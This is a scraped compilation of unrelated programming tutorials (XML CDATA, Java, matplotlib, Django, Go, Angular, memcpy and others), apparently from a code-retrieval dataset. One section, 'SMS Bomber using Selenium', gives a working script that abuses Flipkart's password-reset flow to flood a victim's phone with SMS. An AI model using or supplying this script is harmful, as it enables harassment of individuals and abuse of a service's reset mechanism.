code-rag-bench/online-tutorials huggingface dataset:
XML - CDATA Sections

In this chapter, we will discuss XML CDATA section. The term CDATA means, Character Data. CDATA is defined as blocks of text that are not parsed by the parser, but are otherwise recognized as markup.
The predefined entities such as &lt;, &gt;, and &amp; require typing and are generally difficult to read in the markup. In such cases, CDATA section can be used. By using CDATA section, you are commanding the parser that the particular section of the document contains no markup and should be treated as regular text.
Following is the syntax for CDATA section −
<![CDATA[
   characters with markup
]]>
The above syntax is composed of three sections −
CDATA Start section − CDATA begins with the nine-character delimiter <![CDATA[
CDATA Start section − CDATA begins with the nine-character delimiter <![CDATA[
CDATA End section − CDATA section ends with ]]> delimiter.
CDATA End section − CDATA section ends with ]]> delimiter.
CData section − Characters between these two enclosures are interpreted as characters, and not as markup. This section may contain markup characters (<, >, and &), but they are ignored by the XML processor.
CData section − Characters between these two enclosures are interpreted as characters, and not as markup. This section may contain markup characters (<, >, and &), but they are ignored by the XML processor.
The following markup code shows an example of CDATA. Here, each character written inside the CDATA section is ignored by the parser.
<script>
   <![CDATA[
      <message> Welcome to TutorialsPoint </message>
   ]] >
</script >
In the above syntax, everything between <message> and </message> is treated as character data and not as markup.
The given rules are required to be followed for XML CDATA −
CDATA cannot contain the string "]]>" anywhere in the XML document.
Nesting is not allowed in CDATA section.

    84 Lectures 
     6 hours 

 Frahaan Hussain

    29 Lectures 
     2 hours 

 YouAccel

    27 Lectures 
     1 hours 

 Jordan Stanchev

    16 Lectures 
     2 hours 

 Simon Sez IT
 Print
 Add Notes
 Bookmark this page
How to remove duplicate elements of an array in java?

To detect the duplicate values in an array you need to compare each element of the array to all the remaining elements in case of a match you got your duplicate element.
One solution to do so you need to use two loops (nested) where the inner loop starts with i+1 (where i is the variable of the outer loop) to avoid repetitions.
Apache Commons provides a library named org.apache.commons.lang3 and, following is the maven dependency to add a library to your project.
<dependencies>
   <dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-lang3</artifactId>
      <version>3.0</version>
   </dependency>
</dependencies>
This package provides a class named ArrayUtils using the remove() method of this class you can delete the detected duplicate elements of the given array.
import java.util.Arrays;
import java.util.Scanner;
import org.apache.commons.lang3.ArrayUtils;
public class DeleteDuplicate {
   public static void main(String args[]) {
      Scanner sc = new Scanner(System.in);
      System.out.println("Enter the size of the array that is to be created::");
      int size = sc.nextInt();
      int[] myArray = new int[size];
      System.out.println("Enter the elements of the array ::");
      for(int i=0; i<size; i++) {
         myArray[i] = sc.nextInt();
      }
      System.out.println("The array created is ::"+Arrays.toString(myArray));
      for(int i=0; i<myArray.length-1; i++) {
         for (int j=i+1; j<myArray.length; j++) {
            if(myArray[i] == myArray[j]) {
               myArray = ArrayUtils.remove(myArray, j);
            }
         }
      }
      System.out.println("Array after removing elements ::"+Arrays.toString(myArray));
   }
}
Enter the size of the array that is to be created ::
6
Enter the elements of the array ::
232
232
65
47
89
42
The array created is :: [232, 232, 65, 47, 89, 42]
Array after removing elements :: [232, 65, 47, 89, 42]
Python Number hypot() Method

Python number  method hypot() return the Euclidean norm, sqrt(x*x + y*y).
Following is the syntax for hypot() method −
hypot(x, y)

Note − This function is not accessible directly, so we need to import math module and then we need to call this function using math static object.
x − This must be a numeric value.
x − This must be a numeric value.
y − This must be a numeric value.
y − This must be a numeric value.
This method returns Euclidean norm, sqrt(x*x + y*y).
The following example shows the usage of hypot() method.
#!/usr/bin/python
import math

print "hypot(3, 2) : ",  math.hypot(3, 2)
print "hypot(-3, 3) : ",  math.hypot(-3, 3)
print "hypot(0, 2) : ",  math.hypot(0, 2)
When we run above program, it produces following result −
hypot(3, 2) :  3.60555127546
hypot(-3, 3) :  4.24264068712
hypot(0, 2) :  2.0


    187 Lectures 
     17.5 hours 

 Malhar Lathkar

    55 Lectures 
     8 hours 

 Arnab Chakraborty

    136 Lectures 
     11 hours 

 In28Minutes Official

    75 Lectures 
     13 hours 

 Eduonix Learning Solutions

    70 Lectures 
     8.5 hours 

 Lets Kode It

    63 Lectures 
     6 hours 

 Abhilash Nelson
 Print
 Add Notes
 Bookmark this page
How to Create an Empty Figure with Matplotlib in Python? - GeeksforGeeks

11 Dec, 2020
Creating a figure explicitly is an object-oriented style of interfacing with matplotlib. The figure is a basic building block of creating a plot as Matplotlib graphs our data on figures. This figure keeps track of all other components such as child axes, legends, title, axis, etc.
Steps to create an empty figure : 
First, we import the matplotlib library specifically the pyplot module of matplotlib.
Then we create a figure object using plt.figure() and keep a reference to that by setting it equal to the ‘fig’ variable. This figure object is empty as we have not added any figure components such as axis, legend, axis, etc.
We are using jupyter notebook, and we have to change out backend to ipympl(interactive backend) as with the default backend it was showing a Non-Gui backend error.
For installing the ipympl run this command into your terminal:
For conda environment.
conda install ipympl -c conda-forge
For normal python terminal:
pip install ipympl
Below is the implementation:
Example1 :
Python3
# importing the libraryimport matplotlib  # Enabling interactive backend ipympl in# jupyter notebook or you can use# any other backend%matplotlib ipympl  import matplotlib.pyplot as plt  # an empty figure with no axesfig = plt.figure()  
Output:
Example 2 :
You can also use another interactive backend to display your figure like TkAgg( requires TkInter installed).
Python3
# using different backendimport matplotlib%matplotlib tkimport matplotlib.pyplot as plt  #creating a figurefig = plt.figure()
Output :
Figure2_gfg
Note: Displaying the figure in a different editor or python shell will need you to play with backends.
show() method also displays an empty figure but you have to save that figure before using show() command.
Example :
In the following example, I have used figsize attribute to change the size of the figure.
Python3
import matplotlib  # changing backend%matplotlib tkimport matplotlib.pyplot as plt  # saving the figureplt.savefig('testfigure.png',            dpi = 100)  # displaying the figureplt.show()
Output :
figure3_gfg
Python-matplotlib
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python Dictionary
Read a file line by line in Python
Enumerate() in Python
How to Install PIP on Windows ?
Iterate over a list in Python
Different ways to create Pandas Dataframe
Python String | replace()
Python program to convert a list to string
Create a Pandas DataFrame from Lists
Reading and Writing to text files in Python
show.bs.tab event in Bootstrap

The show.bs.event fires when the tab is about to be displayed.
Display the tab using the nav-tabs class −
<ul class="nav nav-tabs">
  <li class="active"><a href="#home">Home</a></li>
  <li><a href="#two">Java</a></li>
  <li><a href="#three">CSS</a></li>
  <li><a href="#four">Bootstrap</a></li>
  <li><a href="#five">jQuery</a></li>
</ul>
After that, you need to use the show.bs.tab class to generate an alert after the tab is clicked, but just before it is displayed −
$('.nav-tabs a').on('show.bs.tab', function(){
  alert('New tab will be visible now!');
});
You can try to run the following code to implement the show.bs.tab event −
Live Demo
<!DOCTYPE html>
<html lang="en">
  <head>
    <title>Bootstrap Example</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
  </head>

  <body>
  <div class="container">
    <h2>Learn</h2>
    <ul class="nav nav-tabs">
      <li class="active"><a href="#home">Home</a></li>
      <li><a href="#two">Java</a></li>
      <li><a href="#three">CSS</a></li>
      <li><a href="#four">Bootstrap</a></li>
      <li><a href="#five">jQuery</a></li>
    </ul>

    <div class="tab-content">
     <div id="home" class="tab-pane fade in active">
      <h3>Home</h3>
      <p>This is demo text!</p>
     </div>
     <div id="two" class="tab-pane fade">
      <h3>PHP</h3>
      <p>This is demo text!</p>
     </div>
     <div id="three" class="tab-pane fade">
      <h3>C#.NET</h3>
      <p>This is demo text!</p>
     </div>
     <div id="four" class="tab-pane fade">
      <h3>Ruby</h3>
      <p>This is demo text!</p>
     </div>
     <div id="five" class="tab-pane fade">
      <h3>HTML5</h3>
      <p>This is demo text!</p>
     </div>
   </div>
  </div>

<script>
$(document).ready(function(){
  $(".nav-tabs a").click(function(){
    $(this).tab('show');
  });
  $('.nav-tabs a').on('show.bs.tab', function(){
    alert('New tab will be visible now!');
   });
  $('.nav-tabs a').on('shown.bs.tab', function(){
    alert('New tab is now visible!');
  });
  $('.nav-tabs a').on('hide.bs.tab', function(e){
   alert('Previous tab will hide now!');
  });
  $('.nav-tabs a').on('hidden.bs.tab', function(){
    alert('Previous Tab is hidden now!');
  });
});

</script>

</body>
</html>
Generate Captcha Using Python - GeeksforGeeks

08 Oct, 2021
In this article, we are going to see how to generate a captcha using Python package captcha to generate our own CAPTCHA (Completely Automated Public Turing Test to Tell Computers and Humans Apart) in picture form. CAPTCHA is a form of challenge-response authentication security mechanism. CAPTCHA prevents automated systems from reading the distorted characters in the picture.
pip install captcha
Here we are going to generate an image captcha:
Step 1: Import module and create an instance of ImageCaptcha().
image = ImageCaptcha(width = 280, height = 90)
Step 2: Create image object with image.generate(CAPTCHA_Text).
data = image.generate(captcha_text)  
Step 3: Save the image to a file image.write().
image.write(captcha_text, 'CAPTCHA.png')
Below is the full implementation:
Python3
# Import the following modulesfrom captcha.image import ImageCaptcha # Create an image instance of the given sizeimage = ImageCaptcha(width = 280, height = 90) # Image captcha textcaptcha_text = 'GeeksforGeeks'  # generate the image of the given textdata = image.generate(captcha_text)  # write the image on the given file and save itimage.write(captcha_text, 'CAPTCHA.png')
Output:
Image CAPTCHA
Here we are going to generate an audio captcha:
Step 1: Import module and create an instance of AudioCaptcha().
image = audioCaptcha(width = 280, height = 90)
Step 2: Create an audio object with audio.generate(CAPTCHA_Text).
data = audio.generate(captcha_text)  
Step 3: Save the image to file audio.write().
audio.write(captcha_text, audio_file)
Below is the full implementation:
Python3
# Import the following modulesfrom captcha.audio import AudioCaptcha # Create an audio instanceaudio = AudioCaptcha()  # Audio captcha textcaptcha_text = "5454" # generate the audio of the given textaudio_data = audio.generate(captcha_text) # Give the name of the audio fileaudio_file = "audio"+captcha_text+'.wav' # Finally write the audio file and save itaudio.write(captcha_text, audio_file)
Output:
gabaa406
python-modules
python-utility
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Install PIP on Windows ?
How to drop one or multiple columns in Pandas Dataframe
How To Convert Python Dictionary To JSON?
Check if element exists in list in Python
Defaultdict in Python
Python | Get unique values from a list
Python | os.path.join() method
Selecting rows in pandas DataFrame based on conditions
Create a directory in Python
Python | Pandas dataframe.groupby()
Convert Hex to RGBa for background opacity using SASS - GeeksforGeeks

19 Aug, 2020
Sass rgba function uses Red-green-blue-alpha model to describe colours where alpha is used to add opacity to the color. It’s value ranges between 0.0 (completely transparent) to 1.0 (completely opaque). The function takes two input values- the hex color code and alpha and converts Hex code to RGBa format.
Syntax:
Using background-color property:element {
    background-color: rgba(hex_value, opacity_value);
}
element {
    background-color: rgba(hex_value, opacity_value);
}
Using mixins with background-color property that provides hex fallback:@mixin background-opacity($color, $opacity) {
    background: $color;  /*Fallback */
    background: rgba($color, $opacity);
}

body {
     @include background-opacity(hex_value, opacity_value);
}
@mixin background-opacity($color, $opacity) {
    background: $color;  /*Fallback */
    background: rgba($color, $opacity);
}

body {
     @include background-opacity(hex_value, opacity_value);
}
Below examples illustrate the above approach:
Example 1: Adding 70% opacity to a Hex code
<!DOCTYPE html><html><head><title>Converting Hex to RGBA for background opacity</title></head><body>  <p>GeeksforGeeks</p></body></html>
SASS code:@mixin background-opacity($color, $opacity) {    background: $color;    background: rgba($color, $opacity);}  body {     @include background-opacity(#32DF07, 0.7);}
@mixin background-opacity($color, $opacity) {    background: $color;    background: rgba($color, $opacity);}  body {     @include background-opacity(#32DF07, 0.7);}
Converted CSS code:body {
  background: #32DF07;
  background: rgba(50, 223, 7, 0.7);
}
body {
  background: #32DF07;
  background: rgba(50, 223, 7, 0.7);
}
Output:
Example 2: Adding 50% opacity to a Hex code
<!DOCTYPE html>    <html>     <head>       <title>Converting Hex to RGBA for background opacity       </title>     </head><body>  <p>GeeksforGeeks</p></body></html>
SASS code:@mixin background-opacity($color, $opacity) {    background: $color;    background: rgba($color, $opacity);}  body {     @include background-opacity(#32DF07, 0.5);}
@mixin background-opacity($color, $opacity) {    background: $color;    background: rgba($color, $opacity);}  body {     @include background-opacity(#32DF07, 0.5);}
Converted CSS code:body {
  background: #32DF07;
  background: rgba(50, 223, 7, 0.5);
}
body {
  background: #32DF07;
  background: rgba(50, 223, 7, 0.5);
}
Output:
Picked
SASS
CSS
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to create footer to stay at the bottom of a Web page?
Types of CSS (Cascading Style Sheet)
Create a Responsive Navbar using ReactJS
Design a web page using HTML and CSS
How to Upload Image into Database and Display it using PHP ?
Roadmap to Become a Web Developer in 2022
Installation of Node.js on Linux
How to fetch data from an API in ReactJS ?
Convert a string to an integer in JavaScript
Difference between var, let and const keywords in JavaScript
AWK - Ternary Operator

We can easily implement a condition expression using ternary operator. The following example demonstrates this −
condition expression ? statement1 : statement2

When the condition expression returns true, statement1 gets executed; otherwise statement2 is executed. For instance, the following example finds the largest number from two given numbers.
[jerry]$ awk 'BEGIN { a = 10; b = 20; (a > b) ? max = a : max = b; print "Max =", max}'
On executing this code, you get the following result −
Max = 20

 Print
 Add Notes
 Bookmark this page
Construct a Turing Machine for language L = {wwr | w ∈ {0, 1}} - GeeksforGeeks

08 May, 2018
Prerequisite – Turing MachineThe language L = {wwr | w ∈ {0, 1}} represents a kind of language where you use only 2 character, i.e., 0 and 1. The first part of language can be any string of 0 and 1. The second part is the reverse of the first part. Combining both these parts out string will be formed. Any such string which falls in this category will be accepted by this language. The beginning and end of string is marked by $ sign.
For example, if first part w = 1 1 0 0 1 then second part wr = 1 0 0 1 1. It is clearly visible that wr is the reverse of w, so the string 1 1 0 0 1 1 0 0 1 1 is a part of given language.
Examples –
Input : 0 0 1 1 1 1 0 0
Output : Accepted
Input : 1 0 1 0 0 1 0 1 
Output : Accepted

Basic Representation –
Assumption: We will replace 0 by Y and 1 by X.
Approach Used –First check the first symbol, if it’s 0 then replace it by Y and by X if it’s 1. Then go to the end of string. So last symbol is same as first. We replace it also by X or Y depending on it.Now again come back to the position next to the symbol replace from the starting and repeat the same process as told above.
One important thing to note is that since wr is reverse of w of both of them will have equal number of symbols. Every time replace a nth symbol from beginning of string, replace a corresponding nth symbol from the end.
Step-1:If symbol is 0 replace it by Y and move right, Go to state Q2If symbol is 1 replace it by X and move right, Go to state Q1
Step-2:If symbol is 0 replace it by 0 and move right, remain on same stateIf symbol is 1 replace it by 1 and move right, remain on same state——————————————————————-If symbol is X replace it by X and move right, Go to state Q3If symbol is Y replace it by Y and move right, Go to state Q3If symbol is $ replace it by $ and move right, Go to state Q3
Step-3:If symbol is 1 replace it by X and move left, Go to state Q4If symbol is 0 replace it by Y and move left, Go to state Q5
Step-4:If symbol is 1 replace it by 1 and move leftIf symbol is 0 replace it by 0 and move leftRemain on same state
Step-5:If symbol is X replace it by X and move rightIf symbol is Y replace it by Y and move rightGo to state Q0
Step-6:If symbol is X replace it by X and move rightIf symbol is Y replace it by Y and move rightGo to state Q6ELSEGo to step 1
Step-7:If symbol is X replace it by X and move right, Remain on same stateIf symbol is Y replace it by Y and move right, Remain on same stateIf symbol is $ replace it by $ and move left, STRING IS ACCEPTED, GO TO FINAL STATE Q7
GATE CS
Theory of Computation & Automata
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
Layers of OSI Model
ACID Properties in DBMS
Types of Operating Systems
Normal Forms in DBMS
Page Replacement Algorithms in Operating Systems
Difference between DFA and NFA
Design 101 sequence detector (Mealy machine)
Conversion of Epsilon-NFA to NFA
Boyer-Moore Majority Voting Algorithm
Regular expression to ∈-NFA
for loop – Django Template Tags

11 Jan, 2022
A Django template is a text document or a Python string marked-up using the Django template language. Django being a powerful Batteries included framework provides convenience to rendering data in a template. Django templates not only allow passing data from view to template, but also provides some limited features of a programming such as variables, for loops, comments, extends etc.This article revolves about how to use for tag in Templates. for tag loops over each item in an array, making the item available in a context variable.
{% for i in list %}
{% endfor %}

For example, to display a list of athletes provided in athlete_list:
html
<ul>{% for athlete in athlete_list %}    <li>{{ athlete.name }}</li>{% endfor %}</ul>
Illustration of How to use for tag in Django templates using an Example. Consider a project named geeksforgeeks having an app named geeks.
Refer to the following articles to check how to create a project and an app in Django.
How to Create a Basic Project using MVT in Django?
How to Create an App in Django ?
Now create a view through which we will pass the context dictionary,In geeks/views.py,
Python3
# import Http Response from djangofrom django.shortcuts import render  # create a functiondef geeks_view(request):    # create a dictionary    context = {        "data" : [1, 2, 3, 4, 5, 6, 7, 8, 9, 10],    }    # return response    return render(request, "geeks.html", context)
Create a url path to map to this view. In geeks/urls.py,
Python3
from django.urls import path  # importing views from views.pyfrom .views import geeks_view  urlpatterns = [    path('', geeks_view),]
html
{% for i in data %}    <div class="row">        {{ i }}    </div>{% endfor %}
One can use variables, too. For example, if you have two template variables, rowvalue1 and rowvalue2, you can alternate between their values like this:
html
{% for o in some_list %}    <tr class="{% cycle rowvalue1 rowvalue2 %}">        ...    </tr>{% endfor %}
One can loop over a list in reverse by using {% for obj in list reversed %}.
If you need to loop over a list of lists, you can unpack the values in each sublist into individual variables. For example, if your context contains a list of (x, y) coordinates called points, you could use the following to output the list of points:
{% for x, y in points %}
    There is a point at {{ x }}, {{ y }}
{% endfor %}
This can also be useful if you need to access the items in a dictionary. For example, if your context contained a dictionary data, the following would display the keys and values of the dictionary:
{% for key, value in data.items %}
    {{ key }}: {{ value }}
{% endfor %}
surindertarika1234
Django-templates
Python Django
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Node.js crypto.pbkdf2Sync() Method

23 May, 2022
The crypto.pbkdf2Sync() method gives a synchronous Password-Based Key Derivation Function 2 i.e, (PBKDF2) implementation. Moreover, a particular HMAC digest algorithm which is defined by digest is implemented to derive a key of the required byte length (keylen) from the stated password, salt, and iterations. 
Syntax:
crypto.pbkdf2Sync( password, salt, iterations, keylen, digest )
Parameters: This method accepts five parameters as mentioned above and described below:
password: It is of type string, Buffer, TypedArray, or DataView.
salt: It must be as unique as possible. However, it is recommended that a salt is arbitrary and in any case, it is at least 16 bytes long. It is of type string, Buffer, TypedArray, or DataView.
iterations: It must be a number and should be set as high as possible. So, the more is the number of iterations, the more secure the derived key will be, but in that case, it takes a greater amount of time to complete. It is of type number.
keylen: It is the key of the required byte length and it is of type number.
digest: It is a digest algorithm of string type.
Return Type: It returns the derived key as buffer. The below examples illustrate the use of crypto.pbkdf2Sync() method in Node.js: 
Example 1: 
javascript
// Node.js program to demonstrate the// crypto.pbkdf2Sync() method // Including crypto moduleconst crypto = require('crypto'); // Implementing pbkdf2Syncconst key = crypto.pbkdf2Sync('secret',           'salt', 2000, 64, 'sha512'); // Prints bufferconsole.log(key);
Output:
<Buffer 3c f1 85 49 62 52 38 64 2a 4e b1 4c f6 25 2e 1e fc
d7 8e 01 c9 40 d7 84 63 5e 24 ef 71 0f 91 83 bb 6d 03 bd
73 43 33 ec 78 a9 78 c8 1f ea7a dc 8c a6 ...>
Example 2: 
javascript
// Node.js program to demonstrate the// crypto.pbkdf2Sync() method // Including crypto moduleconst crypto = require('crypto'); // Implementing pbkdf2Syncconst key = crypto.pbkdf2Sync('secret',       'salt', 100000, 100, 'sha512'); // Prints key which is encoded and converted// to stringconsole.log(key.toString('hex'));
Output:
3745e482c6e0ade35da10139e797157f4a5da669dad7d5da88ef87e4
7471cc47ed941c7ad618e827304f083f8707f12b7cfdd5f489b782f10cc269
e3c08d59ae04919ee902c99dba309cde75569fbe8e6d5c341d6f2576f6618c
589e77911a261ee964e2
Reference: https://nodejs.org/api/crypto.html#crypto_crypto_pbkdf2sync_password_salt_iterations_keylen_digest
Vyshnav S Deepak
Node.js-crypto-module
Node.js
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
NLP | Proper Noun Extraction

26 Feb, 2019
Chunking all proper nouns (tagged with NNP) is a very simple way to perform named entity extraction. A simple grammar that combines all proper nouns into a NAME chunk can be created using the RegexpParser class.
Then, we can test this on the first tagged sentence of treebank_chunk to compare the results with the previous recipe:
Code #1 : Testing it on the first tagged sentence of treebank_chunk
from nltk.corpus import treebank_chunkfrom nltk.chunk import RegexpParserfrom chunkers import sub_leaves  chunker = RegexpParser(r'''                         NAME:                       {<NNP>+}                       ''')      print ("Named Entities : \n",        sub_leaves(chunker.parse(               treebank_chunk.tagged_sents()[0]), 'NAME'))
Output :
Named Entities : 
[[('Pierre', 'NNP'), ('Vinken', 'NNP')], [('Nov.', 'NNP')]]

Note : The code above returns all the proper nouns – ‘Pierre’, ‘Vinken’, ‘Nov.’NAME chunker is a simple usage of the RegexpParser class. All sequences of NNP tagged words are combined into NAME chunks.PersonChunker class can be used if one only want to chunk the names of people. Code #2 : PersonChunker class
from nltk.chunk import ChunkParserIfrom nltk.chunk.util import conlltags2treefrom nltk.corpus import names  class PersonChunker(ChunkParserI):    def __init__(self):        self.name_set = set(names.words())              def parse(self, tagged_sent):                  iobs = []        in_person = False        for word, tag in tagged_sent:            if word in self.name_set and in_person:                iobs.append((word, tag, 'I-PERSON'))            elif word in self.name_set:                iobs.append((word, tag, 'B-PERSON'))                in_person = True            else:                iobs.append((word, tag, 'O'))                in_person = False                          return conlltags2tree(iobs)
PersonChunker class checks whether each word is in its names_set (constructed from the names corpus) by iterating over the tagged sentence. It either uses B-PERSON or I-PERSON IOB tags if the current word is in the names_set, depending on whether the previous word was also in the names_set. O IOB tag is assigned to the word that’s not in the names_set argument. IOB tags list is converted to a Tree using conlltags2tree() after completion. Code #3 : Using PersonChunker class on the same tagged sentence
from nltk.corpus import treebank_chunkfrom nltk.chunk import RegexpParserfrom chunkers import sub_leaves  from chunkers import PersonChunkerchunker = PersonChunker()print ("Person name  : ",        sub_leaves(chunker.parse(               treebank_chunk.tagged_sents()[0]), 'PERSON'))
Output :
Person name  : [[('Pierre', 'NNP')]]

Natural-language-processing
Python-nltk
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Time Formatting in Golang

17 May, 2020
Golang supports time formatting and parsing via pattern-based layouts. To format time, we use the Format() method which formats a time.Time object.
Syntax:
func (t Time) Format(layout string) string
We can either provide custom format or predefined date and timestamp format constants are also available which are shown as follows.
Layouts must use the reference time Mon Jan 2 15:04:05 MST 2006 to show the pattern with which to format/parse a given time/string.
Example 1:
// Golang program to illustrate the time// formatting using custom layouts  package main  import (    "fmt"    "time")  func main() {      // this function returns the present time    current_time := time.Now()      // individual elements of time can    // also be called to print accordingly    fmt.Printf("%d-%02d-%02dT%02d:%02d:%02d-00:00\n",    current_time.Year(), current_time.Month(), current_time.Day(),    current_time.Hour(), current_time.Minute(), current_time.Second())      // formatting time using    // custom formats    fmt.Println(current_time.Format("2006-01-02 15:04:05"))    fmt.Println(current_time.Format("2006-January-02"))    fmt.Println(current_time.Format("2006-01-02 3:4:5 pm"))}
Output:
2009-11-10T23:00:00-00:00
2009-11-10 23:00:00
2009-November-10
2009-11-10 11:0:0 pm

Example 2:
// Golang program to illustrate the time// formatting using format constantspackage main  import (    "fmt"    "time")  func main() {      // this function returns the present time    current_time := time.Now()      // using inbuilt format constants    // shown in the table above    fmt.Println("ANSIC: ", current_time.Format(time.ANSIC))    fmt.Println("UnixDate: ", current_time.Format(time.UnixDate))    fmt.Println("RFC1123: ", current_time.Format(time.RFC1123))    fmt.Println("RFC3339Nano: ", current_time.Format(time.RFC3339Nano))    fmt.Println("RubyDate: ", current_time.Format(time.RubyDate))}
Output:
ANSIC:  Tue Nov 10 23:00:00 2009
UnixDate:  Tue Nov 10 23:00:00 UTC 2009
RFC1123:  Tue, 10 Nov 2009 23:00:00 UTC
RFC3339Nano:  2009-11-10T23:00:00Z
RubyDate:  Tue Nov 10 23:00:00 +0000 2009

Golang-Program
GoLang-time
Picked
Go Language
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python | SMS Bomber using Selenium

26 May, 2021
Here, we are going to learn a simple SMS bomber trick (for fun and educational purpose). Selenium is a free tool for automated testing across different browsers. In this tutorial, we will learn to send automatically number of spam SMS for given number of frequency and interval.Requirement: You need to install chromedriver and set path. Click here to download.Below are the steps:  
First go to flipkart website using this Link.
Then click on inspect element by pressing ctrl + shift + i or going in setting of browser and clicking on inspect element manually.
Then find the class name of “Enter the number” input field and “Forgot?” link. We will use it later.
Now, Run the script by putting appropriate class name for each element.
Now it will automatically send spam sms to your friend’s mobile number.
Note: This tutorial is for educational purpose only, please don’t use it for disturbing anyone or any unethical way.Below is the implementation:  
Python3
from selenium import webdriverimport time # create instance of Chrome webdriverbrowser = webdriver.Chrome() # set the frequency of sms which is approx maximum to 10 per 24 daysfrequency = 10 # target mobile number, change it to victim's number and# also ensure that it's registered on flipkartmobile_number ="1234567890" for i in range(frequency):    browser.get('https://www.flipkart.com/account/login?ret=/')     # find the element where we have to    # enter the number using the class name    number = browser.find_element_by_xpath('//*[@id="container"]/div/div[3]/div/div[2]/div/form/div[1]/input')     # automatically type the target number    number.send_keys("1234567890")         # find the element to send a forgot password    # request using it's class name    forgot = browser.find_element_by_link_text('Forgot?')         # clicking on that element    forgot.click()         # set the interval to send each sms    time.sleep(2)     # Close the browserbrowser.quit()
singhanubhav
selenium
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
PyQt5 – Changing background color of Push Button when mouse hover over it

22 Apr, 2020
In this article we will see how to set background color to a push button when mouse hover. It gets back to its default color when cursor is not on the push button.
In order to do this we have to change the style sheet and had to add background color of push button when mouse hover over it. Below is the style sheet code.
QPushButton::hover
{
background-color : lightgreen;
}

Below is the implementation.
# importing librariesfrom PyQt5.QtWidgets import * from PyQt5 import QtCore, QtGuifrom PyQt5.QtGui import * from PyQt5.QtCore import * import sys    class Window(QMainWindow):      def __init__(self):        super().__init__()          # setting title        self.setWindowTitle("Python ")          # setting geometry        self.setGeometry(100, 100, 600, 400)          # calling method        self.UiComponents()          # showing all the widgets        self.show()      # method for widgets    def UiComponents(self):          # creating push button        button = QPushButton("Geek Button", self)          # setting geometry of the push button        button.setGeometry(200, 150, 100, 40)          # setting background color to push button when mouse hover over it        button.setStyleSheet("QPushButton::hover"                             "{"                             "background-color : lightgreen;"                             "}")  # create pyqt5 appApp = QApplication(sys.argv)  # create the instance of our Windowwindow = Window()  # start the appsys.exit(App.exec())
Output :
Python-gui
Python-PyQt
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Setup Terraform On Linux and Windows Machine

30 Jun, 2020
Before learning about Multicloud, we must know what is a cloud?. Cloud is a name given to groups of different kinds of services provided by the server and is available over the internet. Example: Compute Units, Storage Units (like google drive).Different companies have built their own data centers to provide these cloud services. Example: AWS, GCP, Azure, etc. When a company decides to use different cloud platforms (mentioned above) to develop and use in an architecture it is called Multicloud.
Terraform is a tool or software program that helps to work with different cloud platforms at a time. Each cloud platform has its own set of rules, syntax, and commands to work with, Terraform makes it easy for us to work with all such clouds at the same time. Terraform uses different plugins for different cloud platforms. So if you use terraform you do not need to learn the different syntax, commands, or rules required by the platforms. Terraform will automatically connect to platforms without you being worry.
1. Download the Zip file
sudo wget https://releases.hashicorp.com/terraform/0.12.2/terraform_0.12.2_linux_amd64.zip
2. UnZip the Downloaded file and add this to the path
sudo unzip ./terraform_0.12.2_linux_amd64.zip –d /usr/local/bin/
3. if above command show error, first install wget and unzip, To install wget and unzip command enter the following commands as per your package managerFor yum package manager
yum install wget unzip
For apt package manager
sudo apt install wget unzip
4. Now terraform is installed and can be checked by seeing the version
terraform -v
1. Terraform is a product of a company hashicorp, so to download it for windows visit terraform download.
2. After Download put the terraform.exe at C:\Program Files\terraform
3. Also add this C:\Program Files\terraform path to the environment variables
4. Now you can check terraform version in cmd
Linux-Unix
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to use ngIf without an extra element in Angular2?

29 Jul, 2020
In order to use *ngIf without an extra element in Angular 2+, we can use either <ng-container> or <ng-template>But in many cases, <ng-container> is recommended.The best scenario regarding the usage of with *ngIf without an extra element is mentioned below.
app.component.ts:
import { Component } from '@angular/core';@Component({  selector: 'my-app-table',  template: './app.component.html',  styleUrls: [ './app.component.css' ]})export class AppComponent  {  India=[{city:'Hyderabad'}, {city:'Mumbai'}]  }
app.component.html :
<h1>ng-container example</h1>   <div *ngFor="let state of India">    <ng-container *ngIf="state.city">      <p> {{ state.city }} </p>   </ng-container> </div>
Illustration of above code for ng-container
If we inspect it then  we can see there is no extra element added after <div> tag and before <p> tag.
AngularJS-Misc
Picked
AngularJS
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Routing in Angular 9/10
Angular PrimeNG Dropdown Component
Angular 10 (blur) Event
How to make a Bootstrap Modal Popup in Angular 9/8 ?
How to setup 404 page in angular routing ?
Installation of Node.js on Linux
Top 10 Projects For Beginners To Practice HTML and CSS Skills
Difference between var, let and const keywords in JavaScript
How to insert spaces/tabs in text using HTML/CSS?
How to fetch data from an API in ReactJS ?
memcpy() in C/C++

06 Sep, 2021
memcpy() is used to copy a block of memory from a location to another. It is declared in string.h
// Copies "numBytes" bytes from address "from" to address "to"
void * memcpy(void *to, const void *from, size_t numBytes);
Below is a sample C program to show working of memcpy().
C
/* A C program to demonstrate working of memcpy */#include <stdio.h>#include <string.h> int main (){  char str1[] = "Geeks";   char str2[] = "Quiz";    puts("str1 before memcpy ");  puts(str1);   /* Copies contents of str2 to str1 */  memcpy (str1, str2, sizeof(str2));   puts("\nstr1 after memcpy ");  puts(str1);   return 0;}
Output: 
str1 before memcpy 
Geeks

str1 after memcpy 
Quiz
Notes: 1) memcpy() doesn’t check for overflow or \0 2) memcpy() leads to problems when source and destination addresses overlap. 
